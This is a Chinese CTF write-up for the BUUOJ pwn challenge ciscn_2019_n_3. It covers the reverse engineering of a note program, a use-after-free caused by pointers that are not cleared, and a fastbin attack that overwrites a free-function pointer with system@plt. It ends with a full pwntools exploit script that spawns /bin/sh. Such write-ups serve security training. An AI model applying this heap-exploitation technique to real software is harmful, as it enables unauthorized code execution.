逆向分析
new 函数
v3 = records[v2];
*v3 = rec_int_print;
*(v3 + 4) = rec_int_free;
*(v3 + 8) = ask("Value");
fgets(*(v3 + 8), size, stdin);
*v3 = rec_str_print;
*(v3 + 4) = rec_str_free;
- records[v2]:存储 chunk 的地址,大小皆为 0xCu 。
- *v3:存储 rec_int_print 函数地址用于打印存储的值和类型。
- *(v3 + 4):存储 free 函数地址,用于释放 chunk 。
- *(v3 + 8):存储用户输入的值,如果值的类型为整数,则直接存在 *(v3 + 8) 中,如果值的类型为字符串,则 *(v3 + 8) 存的是字符串的地址。
del 函数
return (*(records[v0] + 4))(records[v0]);
free(*(ptr + 2));
free(ptr);
- 如果值是整数,直接 free chunk 。
- 如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。
- 注意这里知识进行了 free 操作,没有将指针置 0 。
dump 函数
return (*records[v0])(records[v0]);
- 调用 rec_int_print 或 rec_str_print 打印值。
利用思路
- 创建 chunk 0、chunk 1、chunk 2
- 利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表。
- 利用 chunk 1 的 string 对应的 chunk 进行 use after free 将 /bin/sh 写入 chunk 1 的 string chunk 中。
- 触发 del 函数中的 free(*(ptr + 2)),即执行 system('/bin/sh')
exp 脚本
from pwn_debug import *
pdbg = pwn_debug('ciscn_2019_n_3')
pdbg.debug('2.27')
p=pdbg.run('debug')
elf = ELF('ciscn_2019_n_3')
def newnote(idx,type,value,length=0):
p.recvuntil('CNote > ')
p.sendline(str(1))
p.recvuntil('Index > ')
p.sendline(str(idx))
p.recvuntil('Type > ')
p.sendline(str(type))
if type == 1:
p.recvuntil('Value > ')
p.sendline(str(value))
else:
p.recvuntil('Length > ')
p.sendline(str(length))
p.recvuntil('Value > ')
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil('CNote > ')
p.sendline(str(2))
p.recvuntil('Index > ')
p.sendline(str(idx))
newnote(0,2,'a'*10,0x88)#0
newnote(1,2,'a'*10,0x38)#1
newnote(2,1,0x41)#2
#gdb.attach(p)
delnote(1) # fastbin attack
delnote(2)
newnote(3,2,'bash'+p32(elf.plt['system']),0xc) #把 system 的 plt 表地址写入 chunk 1 的 rec_str_free 中
newnote(4,2,'/bin/sh\x00',0x38)#把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中
#gdb.attach(p)
delnote(1) # free(*(ptr + 2)) 相当于执行 system('/bin/sh')
p.interactive()
get flag
内容来源
[BUUOJ] ciscn_2019_n_3